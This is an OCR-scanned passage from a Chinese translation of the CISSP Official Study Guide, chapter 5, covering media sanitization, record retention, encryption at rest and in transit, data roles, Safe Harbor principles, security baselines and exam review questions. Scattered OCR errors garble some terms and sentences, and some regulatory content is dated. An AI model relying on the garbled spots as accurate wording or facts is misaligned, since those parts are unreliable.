杂的实验或取证技术来获取到原始数据。 此外， 这种消除技术对于一些类型的数据存储介质并不适
用 。 例如， 硬盘驱动器中 的多余区域、 标记为 "坏的" 区域以及许多现代 SSD 并不总是会消除干净，
仍可能有数据保留 。
116
① 第一个字符 1010 0001 ----------、 ô ① 取反 0101 111 0
① 阳 � 1101 01 00
图 5.2 消 除硬盘驱动器
清除 清除是比消除更强烈 的一种形式， 是指在安全性较差的环境中使介质达到可再次使用 的
准备过程， 确保原始数据使用任何己知方法都不会'恢复。 清除过程是将消除过程多次重复， 并结合
其他方法， 如去磁法来完全清除数据。 即使清除过程会除去所有残留的数据， 但这种方法并不总是
可靠的 。 例如， 美国政府不会考虑采用任何的清除方法来清除绝密数据。 标记为绝密数据的介质将
始终保留最高机密 ， 直到被摧毁。
解除分类 解除分类是指在非机密情况下对介质或系统进行清除， 以使其能够再次使用的准备
过程。 可以使用清除来为解除分类做准备， 但是在安全性较低的情况下， 为确保安全解除分类介质
而做 出 的努力 比花钱买新介质 的成本更高。 此外 ， 尽管用任何己知的方法都不能恢复清除的数据，
但是似乎还有可 以使用 的方法。 为了规避风险， 许多企业选择不解除分类任何介质 。
净化 净化是指从系统或介质中删除数据， 确保数据不会以任何形式恢复。 当一台计算机被处
置时， 净化包括确保所有的非易失性存储器己被删除或被破坏 ， 系统在任何驱动器中都不含CD/DVD
光盘， 且内部硬盘(硬盘驱动器和 SSD)己被净化、 删除和/或销毁。 净化指的是破坏介质或使用一种
可靠的方法将机密数据从介质上清除， 但不破坏介质 。
消磁 消磁工具会建立一个强大的磁场区域， 从而以消磁的方法擦除介质上的数据。 技术人员
通常使用消磁的方法将磁带上的数据清除， 从而使其回到最初状态。 硬盘也可以消磁， 但是我们不
建议那样做。 硬盘消磁通常会破坏访问数据的电路。 但是， 并不确定硬盘上的数据是否被完全清除。
可能会有人在干净空间 中启动驱动并在不同的驱动上安装盘片来读取数据。 消磁不会对 CD、 DVD
或 SSD 造成影响。
销毁 销毁是介质生命周期的最后阶段， 也是清除介质数据的最安全方法。 当销毁介质时， 一
定要确保其不能再使用或修复， 并且数据不能从被破坏的介质上提取。 销毁方法包括焚烧、 破碎、
粉碎、 解体， 并使用腐蚀性或酸'性化学物质溶解。 有些组织将高级机密的磁盘驱动器盘片取下， 并
单独销毁它们。
注意 :
当 企业捐赠或出售二手 电脑设备时， 他们通常会清除并销毁设备中 的敏感数据， 而 不是试图 清
第 5 章 保护资产的安全
除这些存储设备。 这降低了 清除过程中 数据可能不会完全清除的风险， 从而造成机密数据泄露的
损失。
5. 保留资产
保留要求适用于数据或记录、 含有敏感数据的介质和系统， 以及接触敏感数据的人员 。 记录保
留和介质保留是资产保留的最重要元素。
记录保留指的是 ， 在需要信息时保留和维护重要的信息， 在不需要时破坏信息。 组织的安全策
略或数据策略通常会确定出保留时间表。 一些法律、 法规规定了 组织应该保留数据的时间长度， 如
3 年、 7 年甚至是无限期的。 然而 ， 即 使没有外部要求 ， 组织也应该确定 数据保留的时间。
作为一个例子， 许多组织需要保留所有审计 日志三年或更长时间。 这使得组织能够重建过去安
全事故的细节。 当组织没有保留策略时， 管理员可以在管理层提出期望之前就删除有价值的数据或
企图无限期地保持数据。 数据保留的时间越长， 在介质 、 存储位置和保护人员方面的成本就越高。
大部分硬件都有更新周期， 可能每3至5年就被取代。 硬件保留主要是指斗每硬件保留到其被正
确净化。
人员保留在这种情况下是指人员受雇于组织时获得的知识。 组织在招聘新的人员时签订保密协
议。IDA)是很常见的 。 NDA 可 以 保证员 工在离职后不会和他人共享私有数据。
⑤ 真实场景
保留策略可以减少责任
如果保存数据的时 间 比需要的时间长， 可 能会带来不必要的法律问题。 例如， 飞机制造商波音
公司 曾 经成为一次集体诉讼的 目 标。 申请人律师得知波音公司有一个仓库 ， 里 面有 14 000 份电子邮
件的备份磁带， 他们要2扣阳关的磁带。 并不是所有的磁带都与诉讼相关， 但波音公司 必须首先恢复
这 14 000 个磁带， 并在移交之前检查其中的 内 容。 最终诉讼成本达到 9250 万 美元， 分析师推测，
如果 14 000 个磁带不存在 ， 就不会是这样的结果。
这是一个极端的例子， 但不是唯一的一个。 这些事件促使许多 公司 实施积极的 电子邮件保留策
略。 电子邮件策略中要求删除超过6个月 邮件的并不少见。 这些策略通常使用 自 动化工具来实现，
工 具会查询 旧 的邮件 并删除， 而 不需 要任何用 户 或管理员 干预。
提起诉讼后 ， 一家公司 删除潜在证据就是不合法的 。 然而 ， 如果保留策咯规定具体的 时 间后删
除数据， 那 么在任何诉讼被提出之前删除这些数据就是合法的. 这种做法不仅防止浪费存储不必要
数据的资源 ， 还通过查看 1日数据对浪费 资源提供 了 一层额外的法律保护 。
5.1 .6 应用密码学保护机密文件
保护数据机密性的一个主要方法就是加密。 第 6 章 "密码学与对称加密算法" 以及第 7 章 "p阻
和密码学应用 " 从更深层次介绍了 加密算法。 然而， 我们很有必要指出用于静态数据和传输中数据
的 算法之间 的差异。
开始时， 加密将明文数据转换成杂乱的密码文本。 如果文件是明文格式， 每个人都能读取。 然
而 ， 当 我们使用强大的加密算法时， 几乎不可能读取杂乱 的密码文本。
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CISSP 官方学习指南(第 7 版)
1 . 应用 对称加密保护数据
对称力口密在加密和解密数据一时应用 同样的密钥。 换言之， 如果一个算法加密数据的密钥是 123，
那么解密时的密钥也是 1 23。 对称算法对于不同的数据不会使用 同样的密钥。 例如， 如果将一个数
据集的加密密钥设为 1 23 ， fi怦码下一个数据集的密钥就可能是 456。 在这里重要的是， 用 123 作为密
钥的加密文件只能用 同样的密钥 123 来解密。 在实际操作中， 密钥长度会更长。 例如， AES 使用 的
密钥长度为 1 28 位或 1 92 位 ， AES 256 使用 的密钥长度为 256 位 。
下面的列表定义了一些最常用于对称加密的算法， 尽管这些算法中 的大部分都应用于加解密静
态数据， 有些也应用于传输加密算法。 我们会在下一部分进行讨论。 此外， 这绝对 不是加密算法的
完整列表， 第 6 章囊括了 大多数算法。
高级加密标准算法 高级加密标准算法(血)是众多算法中最受欢迎的对称加密算法。 2001 年，
美国国家标准技术研究所将它选为标准算法， 用 以替代旧的数据加密标准算法(DES)。 从那时起，
开发者一直稳定地将高级加密标准算法编入许多其他算法和协议中 。 例如， BitLocker(一个带有可信
平台模块的完整硬盘加密应用川吏用 了 高级加密标准算法。 微软加密文件系统将高级加密标准算法应
用于文件及文件夹加密。 高级加密标准支持的密钥长度为 1 28 位、 1 92 位和 256 位。 美国政府已经
同意应用高级加密标准算法来保护绝对机密资料。 较长的密钥长度会增加安全系数， 使得未授权的
人员难 以解密数据 。
三重数据加密标准算法 开发者开发了三重数据加密标准算法(3DES)， 用 以替代数据加密标准
算法(DES)。 初始实现使用 56 位密钥， 但是新的算法实现了 使用 1 12 位或 1 68 位密钥。 密钥越长，
安全等级越高 。 微软 OneNote 和系统中心配置管理器使用 3DES 来保护特定 内 容和 口令。
Blowfish 信息安全专家布鲁斯 · 施奈尔开发的 Blowfish 可 以作为数据加密标准的可选择项。
Blowfish 可用的密钥长度为 32 位至 448 位， 是一个强大的加密协议。 Linux 系统使用 bcrypt 来加密
密码， 而 bcrypt 这款跨平台文件加密工具就是基于 Blowfish 的 。 bcrypt 添加了 额外的 1 28 位密钥作
为 salt 值来阻止彩虹表攻击(rainbow table attack)。
2. 应用传输加密保护数据
传输加密算法在传播之前加密数据， 对传输过程中的数据进行保护。 通过网络发送未加密数据
的最主要风险就是嗅探攻击。 攻击者可以使用嗅探器或协议分析器在网络上捕捉流量。 嗅探器允许
攻击者读取所有以明文发送的数据。 然而， 如果数据用很强的加密协议加密， 攻击者则不能读取。
例如， 网络浏览器使用 HTTPS 来加密电子商务交易， 这可 以防止攻击者捕捉数据以及使用信
用卡信息累积费用 。 相 比较而言 ， 超文本传输协议以明文传输数据 。
几乎所有 HπPS 传输都使用 TLS(Transport Layer Security)作为基本加密协议。 加密套接字协议
层(Secure Sockets Layer， SSL)是 TLS 的先导。 美 国 网景公司在 1995 年开发并发布了 SSL。 随后，
互联网工程任务组(IETF)发布 了 TLS 作为 SSL 的替代品 。 2014 年， 谷歌公司发现 SSL 易受 POODLE
攻击。 结果是， 许多组织都在他们的应用 中 禁用 了 SSL。
很多组织通常会授权远程访问解决方案， 如虚拟专用网(VPN)允许在家办公或出差的员工使用
组织的网络。 VPN 能够在诸如互联网的公共网络上流动， 所 以加密是非常重要的。 虚拟专用网使用
的加密协议有 TLS 和 网际协议安全(Internet Protocol security， IPsec)。
网 际协议安全通常和第二层通道通信协议(Layer 2 Tunneling Protocol ， L2TP)结合来使用虚拟专
用网。 L2TP 在明文中传输数据 ， 但是 L2TP 或 IPsec 在数据传输过程中使用通道模式来保护数据，
第 5 章 保护资产的安全
并通过互联网加密和发送数据。 IPsec 包括一个认证报头(Authentication Header， A町， 该 认证报头
提供 了 鉴定和完整性， 同时， 封装安全载荷(Encapsulating Security Payload， ESP)提供保密性。
对于在互联网上传播数据之前给机密数据加密， 它也同样适用 。 IPsec 和 SSH 通常都用来在互
联网传输数据的过程中保护数据。 SSH 是一个强大的加密协议， 包括其他协议， 如安全复制(Secure
Copy， SCP)和安全文件传输协议(Secure File Transfer Protocol， SFTP)o SCP 和 SFTP 都是安全协议 ，
它们用来通过网络传输加密文件。 一些协议， 如文件传送协议(盯P)在明文中传输数据 ， 这些协议不
适合在网络中传输机密数据 。
许多管理者在管理远程服务器时， 用 SSH 代替远程登录协议(Telnet)。 由于 Telnet 会在明文中通
过网络发送数据， 因此不应该使用远程登录协议。 连接到远程服务器时， 管理者需要登录服务器，
因此远程登录也需要通过网络以明文形式发送他们的认证信息。 然而， SSH 会给所有数据加密， 包
括管理者的认证信息 。
注意 :
Telnet 必须用 于 连接远程服务器 ， 管理者通常会使用 VPN 在隧道内给远程登录数据加密 。
5.2 定义数据角 色
组织 内 的许多人都会管理、 处理和使用数据， 基于角色他们有不同 的要求。 不同的文件涉及的
这些角色也略有不同。 有些在 CISSP 考试大纲(CIB)中使用的信息与一些 NIST 文件中的术语是匹配
的 ， 并且一些术语符合与欧盟数据保护法相关的避风港项 目 。 适当时我们会列举这些信息来源， 以
便你可 以深度学习这些信息 。
5.2.1 数据所有者
数据所有者是数据的最终责任人。 所有者通常是首席执行官 、 总裁或部门主管。 数据所有者定
义数据类别， 确保给数据贴上合适标签。 他们也要确保基于分类和组织的安全策略要求足够安全。
如果数据所有者在制定和执行安全策略的过程中没有尽职去保护和维持机密数据， 那么他们有义务
承担过失责任。
NIST SP 800斗 8 概括了信息所有者 的 以下责任， 也 可 以理解为同样是数据所有者的责任:
• 制定规则 ， 以便用 于主体的数据或信 息的 适当使用及保护(行为规则)。
• 为信息系统所有者提供输入 ， 要考虑到信息所在地的信息系统的安全要求和安全控制。
• 决定谁有权访 问信息系统， 拥有何种特权或准入权。
• 协 助对信息所在地的普通安全控制进行定义和评估 。
注意 :
NIST SP 800-1 8 经常使用短语 "行为规则 " ， 它 和可接受使用 策略(Acceptable Usage Policy， AUP)
高度一致。 两者者F要概括责任和个体的预期行为 ， 以及陈述和规则或可接受何有策略不一致的后 果。
此外， 我们要求个体定期告知他们 已经读取、 理解并且同 意规则或可接受使用 策略。 许多组织都把
这些信息放到 网上， 九许使用 者告知他们 已经理解并同 意遵守 (使用 在线 电 子数字签名 )。
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CISSP 官方学 习指南(第 7 版)
5.2.2 系统所有者
系 统所有者是拥有含机密数据的系统的人。 NISTSP 800-1 8 概括了 系统所有者的 以下责任:
• 开发和信息所有者 、 系 统管理者、 功 能终端使用者相一致的系统安全计划 。
• 维持系统安全计划井确保系统依照 己经同意的 安全要求进行部署和运行。
• 确保系统使用者和支持人员 受到适当的安全培训11 ， 如行为规则说明(或是 AUP)。
• 当 发生重大变化时 ， 更新系统安全计划 。
• 协助定义、 执行和评估通用 安全控制 。
系统所有者通常和数据所有者是同一个人， 但是有时候也可能是不同的人， 如不同的部门主管。
举例来说， 考虑一下一台和后端数据库服务器相互作用并用于电子商务的网络服务器。 软件开发部
门可能会为数据库和数据库服务器进行数据库开发或数据库管理， 但是信息技术部门负责维护网络
服务器。 在这种情况下 ， 软件开发部门主管就是数据库服务器的系统所有者， 信息技术部门主管就
是 Web 服务器的系统所有者 。 然而， 更普遍的是一个人(如一个部门 主管)来控制两个服务器， 那么
这个人就同 时是两个系统的系统所有者 。
系统所有者负责确保在系统中运行的数据的安全性， 这包括定义系统运行的最高级数据。 系统
所有者要确保精确标记系统， 同时也需要适当的安全控制来保护数据。 系统所有者和数据所有者通
过交流来确保在系统静止时、 在系统之 间传输时 以及在系统应用运行使用 时能够保护数据 。
5.2.3 业务/任务所有者
业务/任务所有者在不同 的组织中角色也不同。 NISTSP 800-18 指的是业务/任务所有者作为项 目
经理或信息系统所有者 。 同样， 业务/任务所有者的责任可以和系统所有者的责任有重叠或相同 。
业务所有者拥有的程序可能是由其他实体管理的系统。 举例来说， 销售部门可能是业务所有者，
但是信息技术部门和软件开发部门可能是系统所有者， 原因是系统会应用于销售过程中 。 想象一下，
销售部门 使用 电子商务网站和网站入口 访问后端数据库服务器， 将注意力集中于线上销售。 在之前
的例子中， 信息技术部门将网络服务器管理为自 己的系统所有者， 软件开发部门将数据库服务器管
理为自 己的系统所有者。 销售部门即使不拥有这些系统， 也确实拥有商业程序， 这些程序通过使用
这些系统产生销售额。
在业务中， 业务所有者负责确保系统能够给组织提供价值。 这是显而易见的。 然而， 信息技术
部 门有时会过度热情 ， 执行安全控制 ， 而不考虑业务的影响或其任务。
许多业务的潜在竞争区域是成本中 心和利润中心的对比。 信息技术部门不能产生收益。 相反，
成本中心会产生成本。 相 比较而言 ， 经营方作为利润中心产生收益。 由信息技术部门产生的成本会
消耗由经营方产生的利润 。 此外， 许多由信息技术部门执行的安全控制会减少符合安全要求的系统
的可用性。 如果把这些放在一起考虑， 就能看到经营方有时候会将信息技术部门视为花钱并减少收
益 的部门， 同时使得业务更难产生收益。
组织通常执行信息技术管理方法， 如信息及相关技术的控制 目 标(COBIT)。 这些方法帮助业务
所有者和任务所有者根据业务或任务需求平衡安全控制要求。
第 5 章 保护资产的安全
5.2.4 数据处理者
一般来说， 数据处理者是用来加工数据的任意系统。 然而， 在欧盟的数据保护条文中， 数据处
理者有更确切的定义。 欧盟数据保护法将数据处理者定义为 "一个 自然人或法人， 他拥有个人资料，
仅代表数据控制者的利益 "。 在该条文中 ， 数据控制者是一个控制数据过程的人或实体。
举例来说， 一家收集员工个人信息用来制定工资单的公司就是数据控制者。 如果他们将此信息
发送给第三方公司来制作工资单， 那么工资单制作公司就是数据处理者。 在这个例子中， 在数据控
制者的角色中， 工资单制作公司(数据处理者)除使用数据进行工资单制作之外， 不能将数据用作他用 。
欧盟数据保护法(法令95/461EC)限制将数据传输至欧盟以外的国家。 这些国家必须符合特定要
求， 要求显示他们达到数据保护的足够级别 。 美国贸易部执行安全港项 目 ， 它是一个控制机制 ， 包
括-系列避风港法则 。 目 标是防止未授权的信息泄露， 由数据处理者处理数据 ， 以及在数据处理者
和数据控制者之间进行传输。 如果他们同意遵守7项法规和条款1 5中描述的要求， 井且经常提问 ， 美
国公司可以自愿选择进入项 目 。 这些法规中有很多法律措辞 ， 解释如下 :
• 通知 : 任何组织都必须告知个人关于收集及使用数据的 目 的 。
• 选择: 任何组织必须为个人提供可选择的机会。
• 向 前传输: 组织只 有在遵守通知及选择规则 的基础上才能向 其他组织传输资料。
• 安全性: 组织必须采取合理预防措施来保护数据 。
• 数据完整性: 除组织在注意规则及使用者选择的可选规则中的 目 的之外， 组织不得将信息
用作他用 。 此外 ， 组织应该采取措施确保数据可信 。
• 访问: 个人必须可以使用组织持有的关于他们的个人信息。 在个人信息不准确的情况下，
个人也能够更正 、 修改或删除信息。
• 执行: 组织必须执行机制来确保和这些原则一致 。
注意 :
美国 贸 易部将安全港的很多信息放在一个网站上: www.export.gov/safeharbor/。 可以通过技索安
全港法规和安全港常见问题来浏览他们的网站 、 浏 览规则 的全文以及常见问题列表。
5.2.5 管理员
数据管理员负责将数据以合适的方式授予人员 。 他们不-定必须拥有全部管理者权限和特权，
但是他们可以分配权限。 管理员分配权限时需要基于最低权限准则和须知， 只有在工作有需要时才
会授予使用者。 管理员通常会使用基于角色的访 问控制模型来分配权限。 换句话说， 他们将用户 账
号添加至群组， 然后授予群组权限。 当用户 不再需要访问数据时， 管理员就将他们的账户从群组中
移除。 第 1 3 章 " 管理身份与认证 " 进一步介绍 了 基于角色的访 问控制模型 。
5.2.6 保管者
数据所有者经常将每天的任务委任给保管者。 通过以适当方式保存和保护数据， 保管者协助保
护数据的安全性和完整性。 例如， 保管者会根据备份策略确保数据备份。 如果管理员在数据上有配
置的审计， 保管者也同样会保存这些记录 。
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CISSP 官方学 习指南(第 7 版)
在实际中， 信息技术部门 的人员或者系统安全管理员通常会成为保管者。 他们可能是负责分配
权限的相同管理员 。
5.2.7 用 户
用户就是任何通过计算系统获取数据并完成工作任务的人。 用户 只 能获取他们需要用来完成工
作任务的数据 。 也可以把用户想象成员 工或最终用 户 。
5.3 保护隐私
组织有义务保护他们收集和保存的数据 。 对于保护 PII 和 PIll 数据而言， 更是如此(本章开始部
分讨论过)。 很多法律规章都要求保护隐私数据， 组织有义务去学习他们适用于哪些法律和规章。 此
外 ， 组织需要确保他们的行为符合这些法律规章。
很多法律要求组织披露他们收集到的数据、 收集数据的原因 以及准备怎样使用这些信息。 此外 ，
这些法律禁止组织以正当使用信息之外的方法使用这些信息。 例如， 如果组织声明正在收集邮箱地
址进而与顾客交流购买议题 ， 那么组织不应该将这些邮件地址卖给第三方。
组织在他们的网站上使用在线隐私策略是很普遍的事情。 一些实体要求严梅按照隐私法办事，
包括美国(健康保险流通与责任法案隐私法则)、 加利福尼亚州、H加利福尼亚在线隐私保护法令 2003)、
加拿大(个人信息保护和 电子文件法令) 以及欧盟的数据保护法。
注意 :
欧盟起草 了 通用数据保护条例(General Data Protection Regulation， GDPR)来替代欧盟数据保护
条171J . 各组织计划 的时间线是于 20 1 5 年和 20 16 年选取各项要求， 于 2017 年和 2018 年执行各项
要求。
如果这些法律在司法中得以执行， 那么各组织就必须履行这些要求。 例如， 加利福尼亚在线隐
私保护法令(COPA)要求对于任何商业网站或在线服务组织收集的加利福尼亚居民的个人信息 ， 都要
求严格的保护策略。 实际上， 这种策略适用于世界上任何收集个人信息的网站。 原因是， 如果网站
在互联网上可以登录， 那么任何加利福尼亚居民都可以登录该网站。 很多人认为 COPA 是美国最严
格的法律， 那些遵守加利福尼亚法律要求的美国组织一般说来也会遵守其他地方的法律。 然而， 任
何组织都有义务来决定 自 己适用于哪种法律并且要遵守 该种法律。
在保护隐私时， 组织通常会使用一些不同的安全控制。 选择适当 的安全控制是一项令人生畏的
任务， 尤其是对于那些新成立的组织而言。 然而， 使用安全基准线以及定义相关标准让这项任务变
得更简单。
5.3.1 使用 安全基线
基线提供了一个起点， 确保最低安全标准。 各组织使用 的一条普通的基线就是镜像。 在第 1 6
章 "管理安全运营" 中深入讨论了配置管理中 的镜像。 作为介绍， 管理者配置了一个带有预期设定
的单一系统， 捕捉其镜像， 然后将该镜像配置到其他系统中 。 这就确保了所有系统都配置成相似的
第 5 章 保护资产的安全
安全状态。
将系统设置成安全状态之后， 审计程序要周期性地检查系统， 以确保他们维持在安全状态。 举
例来说， 微软组策略可 以周期性地检查系统 ， 调整设定 以和基准线相匹配。
NIST SP 800-53 讨论了作为安全控制列表的安全控制基准线。 它强调， 单一的安全控制不能适
用于所有情况， 但是任何组织都可以选择一组基准线安全控制， 并且根据需求做出调整 。 SP 800-53
的附录D概括 了 4 组优先安全控制， 各组织可以执行以保证基本安全。 这些准则向各组织展示了 他
们应该首先执行什么 、 其次执行什么 和最后执行什么 。
例如， 表5.2是在访问控制家族中安全控制的一部分清单。 美国 国家标准技术研究所指派了这些
控制的编号和名称， 并且提供了 推荐 的优先控制 。 P- j 代表优先级最高， P-2代表优先级居中 ， P-3
代表优先级最后 。 NIST SP 800-53说明所有这些控制在附录 F 中 都有深入说明 。
表 5.2 安全控制基准线
控制编号 控制名 称 优先级
AC-l 访问控制策略和l程序 P-l
AC-2 账户管理 P-l
AT-2 安全意识培训 P-l
AC-5 职责分离 P-l
AC-6 最 小特权 P-l
AC-7 失败的登录尝试 P-2
AC-I0 协 同会话控制 P-3
需要指出 的是， 许多标志为 P-l 的项 目 都是基本安全实践。 访问控制策略和程序确保用户有特
定的身份(如用户姓名)， 并且由鉴定程序证明他们的身份。 根据用 户身份(利用鉴定程序证明)， 管理
者授予用户基础资源的权利。 类似的， 任何准备参加 CISSP 考试的人都不应该对执行基本安全规则
感到奇怪， 如职责分离和最小特权原则 。 当然， 仅仅因为它们是基本的安全实践， 也不意味着各组
织就会执行 。 遗憾的是， 很 多组织还没有发现或执行这些基本规则 。
5.3.2 审视和定制
审视是指评估基线安全控制， 然后只选择那些适用于想保护 的 盯 系统的控制。 例如， 如果一个
系统不允许任何两人在同一时间登录， 就不需要应用并发会话控制 。
定制是指修改基线内 的安全控制列表， 使其与组织的使命相适应。 例如， 组织可能决定一组基
线控制完全适用于处在他们主要位置的电脑， 但有些控制在远程办公位置可能不适当或不可行。 在
这种情况下， 组织可 以 选择补偿安全控制来调整基线到远程位置。
5.3.3 选择标准
在选择基线内的安全控制时， 组织需要确保控制符合某些外部安全标准。 外部元素通常定义了
对组织的强制性要求。 例如， 支付卡行业数据安全标准σCI DSS)定义了企业在处理主要信用卡的过
程 中必须遵循的要求。 同样， 想在欧盟国家之间传输数据的组织必须遵守安全港中的原则标准。
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CISSP 官方学习指南(第 7 版)
显然， 并不是所有组织都必须遵守这些标准。 不处理信用卡交易的组织不需要遵守 PCI DSS。
同样， 不在欧盟国家之间传输数据的组织也不需要遵守安全港中 的原则标准。 鉴于此， 组织需要确
定适用 的标准， 并确保他们选择的安全控制遵守这些标准。
5.4 本章小结
资产安全关注的是在信息的整个生命周期中收集、 处理和保护信息 ， 包括在计算系统中存储、
处理或传输的敏感信息。 敏感信息是任何组织列为私有的信息， 可 以包括多个层次的分类。
这个过程中 的一个关键步骤是在安全策略或数据策略中定义分类标签。 政府可以使用绝密、 保
密、 机密和非机密这样的标签。 非政府组织可以使用他们选择的任何标签。 关键是， 他们要在安全
策略或数据策略中定义标签。 数据所有者(通常是高级管理人员)提供数据定义。
组织采取具体措施来标记、 处理、 存储并破坏敏感信息 ， 这些措施有助于防止由于未经授权的
披露而失去保密。 此外， 组织通常会为记录保留定义特定的规则， 确保必要的数据是可用的。 数据
保 留策略也减少 了 长时间保存数据带来的责任。
保护数据机密性的一种关键方法是加密。 对称加密协议(比如 AES)可以加密静态数据(存储在介
质上的数据)。 传输加密协议保护传输过程中 的数据 ， 方法是在传输之前对其进行加密。
人员在处理数据时可以满足许多不同的角色。 数据所有者最终负责分类、 标识和保护数据。 系
统所有者负责处理数据的系统。 业务和任务所有者拥有流程， 并确保系统对组织的价值。 数据处理
者通常是为组织处理数据的第三方实体。 管理员基于数据所有者提供的指导方针授权访问数据。 保
管人被委托负责 日 常正确存储和保护数据。 用户(通常称为最终用户)访问系统上的数据。
欧盟数据保护法规定保护隐私数据。 数据控制者可以雇佣第三方来处理数据， 在这种情况下，
第三方为数据处理者。 数据处理者有责任对数据进行保密， 井且不会将其用于任何由数据控制者指
定的 目 的 以外的任何其他 目 的。 安全港项 目 包括组织同 意遵守的7条原则， 这样他们也就能够遵守
欧盟数据保护法的要求。
安全基线提供了 一套安全控制， 组织可以将其作为安全起点来实施。 一些出版物(如 NIST SP
800-53)会识别安全控制基线。 然而， 这些基线不会完全适用于所有的组织。 相反， 组织使用审视和
定制技术来识别在其基线中实施的安全控制。 此外 ， 组织确保他们会实施外部标准规定的适用于他
们组织的安全控制 。
5.5 考试要点
理解数据分类的重要性。 数据所有者负 责定义数据分类， 确保系统和数据被正确标记。 此外，
数据所有者定义保护不同分类的数据的需求， 比如对静态数据和传输中 的敏感数据进行加密。 数据
分类通常在安全策略或数据策略中定义 。
知道 PI I 和 PHI。 个人身份信息σ'll)是任何可以识别个人的信息 。 受保护的健康信息σ四)是指
任何与特定个人的健康有关的信息。 许多法律、 法规都规定保护 PII和Plll。
知道如何处理敏感信息。 敏感信息是指所有类型的机密信息， 正确地管理它们可以帮助防止由
于未经授权的披露而失去保密 。 适当的管理包括标志、 处理、 存储和破坏敏感信息。 组织经常漏掉
第 5 章 保护资产的安全
标记的两个区域是充分保护承载敏感信息 的备份介质 以及在介质和设备生命周期结束时对其进行
净化。
理解记录保留 。 记录保留策略确保在需要数据时 ， 将数据保存在可用状态 ， 在不需要数据时将
其破坏。 许多法律、 法规都规定数据要在特定的时间 内进行保存， 但是没有正式的规定 ， 因此组织
会在策略中指定保留时间。 审计跟踪数据需要保持足够长的时间来重建过去的事件， 但是组织必须
确定他们想要调查多久之前的数据。 许多组织当前的趋势是通过对电子邮件实施短期保留策略来减
少法律责任。
知道不同角色之间的区别 。 数据所有者负责分类、 标记和保护数据。 系统所有者负责处理数据
的系统。 业务和任务所有者拥有流程， 并确保系统对组织的价值。 数据处理者通常是为组织处理数
据的第三方实体。 管理员基于数据所有者提供的指导方针授权访问数据。 用户在执行工作任务的过
程中访 问 数据 。 保管者负责日常存储和保护数据。
了解 7 条安全港原则。 欧盟数据保护法规定保护隐私数据。 第三方同 意遵守 7 条安全港原则，
以确保它们遵守欧盟数据保护法。 7 条原则是通知、 选择、 向前传输、 安全性、 数据完整性、 访 问
和执行。
了解安全控制基线。 安全控制基线提供一份组织可以用作基线的控制清单， 并不是所有的基线
适用于所有的组织。 然而， 组织可 以应用 审视和定制技术来选择满足 自 身需求的基线。
5.6 书 面实验室
1 . 描述 PII 和 P阻。
2. 描述净化 SSD 的 最好方法。
3 指 出 组织为数据实施 的 4 个分类等级。
4. 列出安全港项目中 的7条原则。
5.7 复习题
1 . 下面哪一项指的是分类过程的主要 目 的 ?
A. 定 义保护敏感数据的要求
B. 定 义备份数据的要求
C. 定 义存储数据的要求
D. 定义传输数据的要求
2 在确定数据分类时， 以下哪一项是最重要的考虑因素?
A. 处理系统
B. 价值
c. 存储介质
D 可访问性
3. 以下哪个答案不属于敏感数据 ?
A. 个人身份信息(PII)
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CISSP 官方学习指南(第 7 版)
B. 受保护的健康信息(P四)
C. 专有数据
D 发布在网站上的数据
4. 标记介质 的最重要方面是什么 ?
A. 日 期标签
B. 内 容描述
C. 电子标签
D. 分类
5. 在将分类介质再次用到不太安全的环境中之前 ， 管理员通常会怎样做 ?
A. 擦除
B. 消 除
c. �青除
D. 重写
6. 以下哪个描述正确表述 了 净化方法的问题?
A. 没有移除数据的方法， 保证了 未授权人员不能检索数据 。
B. 即使 已被完全焚烧的介质也会提供可推断出 的数据。
C 人员可能会不适当地执行净化步骤。
D. 存储的数据被物理销毁介质 。
7. 以下哪个选项是摧毁固 态硬盘上数据的最可靠方法 ?
A. 擦除
B. 去磁
C. 删除
D 清除
8. 以 下哪个选项是删除 DVD 上数据的最安全方法?
A. 格式化
B. 删除
c. 销毁
D. 去磁
9. 以 下哪一项不会擦除数据 ?
A. 消除
B. 清除
C 重写
D. 乘IJ磁
10. 以下哪一项基于 Blowfish 并能保护免受彩虹表袭击?
A. 3DES
B. AES
C. bcrypt
D. SCP
1 l . 管理员会用 以下哪一项来安全连接远程服务器 以进行管理?
A. Telnet
B. 安全文件传输协议(SFTP)
C. 安全拷贝(SCP)
D. 安全外壳(SS罔
12. 以 下哪一项是保管者通常会执行的任务?
人 访 问 数据
B 分类数据
C. 分配数据权限
D. 备份数据
1 3. 以 下哪个数据角色最可能有权授予用户对数据的访 问权?
A 管理 员
B. 保管者
C. 所有者
D. 用 户
1 4. 以 下哪一项是对数据所有者确立的 " 行为规则 " 的最好定义?
A. 确保用户只被授予对他们所需东西的访问权。
B 决定对系统有访 问权的人。
C. 识别对数据的恰当使用和保护 。
D. 对系统实施安全控制 。
1 5. 在 欧盟数据保护法的背景下， 以下哪一个是数据处理者?
A 代表数据控制者处理个人数据的实体
B. 控制数据处理的实体
C. 处理数据的计算系统
D. 处理数据的网络
16. 通知、 选择、 向 前传输及访 问 原则 最适用 的是?
A. 保密
B. l只别
C. 保 留
D. 分类
第 5 章 保护资产的安全
1 7. 组织正在实施安全控制的预选基线， 但发现不是所有的控制都适用 。 他们应该做些什么呢?
A 不管怎样 ， 实施所有控制
B. 确定 另一条基线
c. 重新创建一条基线
D. 根据他们的 需求定制基线
在回答问题 1 8 至 20 时请参考下面的场景: 一个组织有一个数据中心， 24 小时全天处理高级敏
感信息 。 数据中心包括电子邮件服务器， 管理员会清理超过 6 个月 的 电子邮件， 以遵守组织的安全
策略。 对数据中心的访问是受控制的， 所有处理敏感信息的系统都进行了标记。 管理员定期备份在
数据中心处理的数据。 他们在现场保留一份备份， 并把没有标记的备份发送到公司 的一个仓库 。 仓
库工人按 日 期整理介质 ， 他们有过去 20 年的备份。 员 工 白 天在仓库工作， 晚上和周末在离开前会将
仓库锁闭 。 最近， 仓库发生了 盗窃 ， 丢失了所有的离线备份磁带。 之后， 他们数据的副本， 包括几
年前的敏感电子邮件 ， 开始 出 现在互联网 网站上， 因 此组织的 内 部敏感数据被公开。
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CISSP 官方学 习指南(第 7 版)
1 8. 在下面的选项中， 哪一项可以在不牺牲安全性的情况下阻止此丢失事件的发生 ?
A 标记场地外保存的介质
B. 不要把数据存储在场地外
C. 将场地外的备份全部摧毁
D. 使用 安全的场地外存储设备
1 9. 以 下哪个管理 员行为可 以 阻止此事件的发生 ?
A 在把磁带送到仓库之前对它们进行标记
B. 在磁带上备份数据之前清理磁带
c. 在磁带上备份数据之前对磁带进行去磁
D. 将磁带加入资产管理数据库
20. 在 以下选项中， 关于备份介质不遵守哪一项策略?
A. 介质销毁
B. 记录保留
C. 配置管理
D 版本控制
第 6 z=二
